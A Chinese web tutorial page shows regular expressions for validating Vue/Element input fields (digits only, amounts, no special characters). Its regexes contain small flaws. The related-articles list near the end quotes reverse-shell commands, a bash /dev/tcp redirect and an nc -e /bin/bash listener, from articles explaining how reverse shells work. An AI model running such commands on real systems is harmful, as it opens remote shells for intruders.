正则表达式解决input框固定输入值得格式(金额,特殊字符)

 更新时间:2020-11-19 10:25:19   作者:佚名   我要评论(0)

在写输入用到input的时候,经常出现以下几种情况:
只能输入某。栗子:只能输入数字,只能输入字母(大写,小写)只能输入某固定格式。栗子:只能输入金额,只能输入

在写输入用到input的时候,经常出现以下几种情况:

只能输入某。栗子:只能输入数字,只能输入字母(大写,小写)只能输入某固定格式。栗子:只能输入金额,只能输入小数且最多保留2位不能输入某。栗子:不能输入特殊字符,如“@#¥%&*”等

这种情况下,就需要直接在input上进行限制,在前端的应用中主要是用正则表达式来解决这些问题的

第一种情况:只能输入某

<template>
 <div id="app">
 {{value}}
 <el-input 
  v-model="value" 
  clearable
  size="small"
  class="row-value "
  @input="numCheck(value)"
  //这里我使用的是input,每输入一次就会检查,也可以使用change改变时检查或blur失去焦点时检查。
  >
  </el-input>
 </div>
</template>

<script>
 export default {
 name: "app",
 data() {
  return { 
  value:''
  };
 },
 methods: {
  numCheck(val){
  if(val != ''){
   if (/[^1-9]/.test(val)) {
   //如果不能输入数字就去掉^,/[1-9]/.test(val)
   //只能输入字母,/[^A-z]/.test(val)
   //只能输入字母或数字(如密码),/[^1-9A-z]/).test(val)
   this.$message({
    type: "error",
    message: "只能输入数字,请重新输入!"
   })
   this.value = ''
   }
  }
  }
 }
 };
</script>

第二种情况只能输入某固定格式

只能输入小于1的两位小数

if(value > 1){
	this.$message({
  type: "error",
  message: "请输入小于1的数!"
 })
 this.value = ''
 return
}
if (!(/^([0-9]*)+(.[0-9]{1,2})?$/).test(val)) {
 this.$message({
  type: "error",
  message: "请输入小于1的两位小数!"
 })
 this.value = ''
}

金额

if(value.length > 12){
	this.$message({
  type: "error",
  message: "长度超过12,请重新输入"
 })
 this.value = ''
 return
}
if(!(/(^[1-9]([0-9]+)?(\.[0-9]{1,2})?$)|(^(0){1}$)|(^[0-9]\.[0-9]([0-9])?$)/).test(value)){
	this.$message({
  type: "error",
  message: "只能输入数字,请重新输入!"
 })
 this.value = ''
}

第三种情况不要输入某

var patrn = /[`~!@#$%^&*_\-+=<>?"{}|\/;'\\[\]·~!@#¥%……&*————\-+={}|《》?“”【】‘'、]/gim;
if (patrn.test(val)) {
 this.$message({
  type: "error",
  message: "请勿输入特殊字符!"
 })

总结:好好学习正则表达式,超重要!!!

到此这篇关于正则表达式解决input框固定输入值得格式(金额,特殊字符)的文章就介绍到这了,更多相关input框固定输入值得格式内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
  • 微信小程序实现简单input正则表达式验证功能示例
  • js正则表达式之input属性($_)RegExp对象属性介绍

相关文章

  • 正则表达式解决input框固定输入值得格式(金额,特殊字符)

    正则表达式解决input框固定输入值得格式(金额,特殊字符)

    在写输入用到input的时候,经常出现以下几种情况: 只能输入某。栗子:只能输入数字,只能输入字母(大写,小写)只能输入某固定格式。栗子:只能输入金额,只能输入
    2020-11-19
  • 正则表达式中两个反斜杠的匹配规则详解

    正则表达式中两个反斜杠的匹配规则详解

    关于正则表达式raw的\匹配规则 这是我在学习中获得到的一个例子,第一表达式中匹配到的是none。于是乎我就在思考,为什么会匹配不到,假设\t被转义成一个\t,那么也
    2020-11-19
  • Shell文本处理三剑客之sed的使用

    Shell文本处理三剑客之sed的使用

    sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。 语法: stdout | sed [option] "pattern command" sed [option] "pattern comma
    2020-11-19
  • linux反弹shell的原理详解

    linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bas
    2020-11-19
  • 浅析Linux之bash反弹shell原理

    浅析Linux之bash反弹shell原理

    环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令
    2020-11-19
  • Linux Shell 如何获取参数的方法

    Linux Shell 如何获取参数的方法

    $# 是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $@ 是传给脚本的所有参数的列表
    2020-11-19
  • shell模糊匹配与正则详解

    shell模糊匹配与正则详解

    前言: 正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。 正则表达式 正则表达式主要是用来描述一个句法规则
    2020-11-19
  • 详解shell中脚本参数传递的两种方式

    详解shell中脚本参数传递的两种方式

    方式一:$0,$1,$2.. 采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括1
    2020-11-19
  • shell之定时周期性执行脚本的方法示例

    shell之定时周期性执行脚本的方法示例

    示例 1.编写测试脚本脚本 time .sh $ cat time.sh #! /bin/bash echo $(date +%s) >> /home/ocean/out.txt 保存完毕后记得给予权限 chmod 777 test.sh
    2020-11-19
  • Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

    Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

    Linux - 通过 autojump 命令减少 cd 命令的使用 1、安装 autojump git clone git://github.com/joelthelion/autojump.git 安装 cd autojump ./install.py 卸载
    2020-11-19

最新评论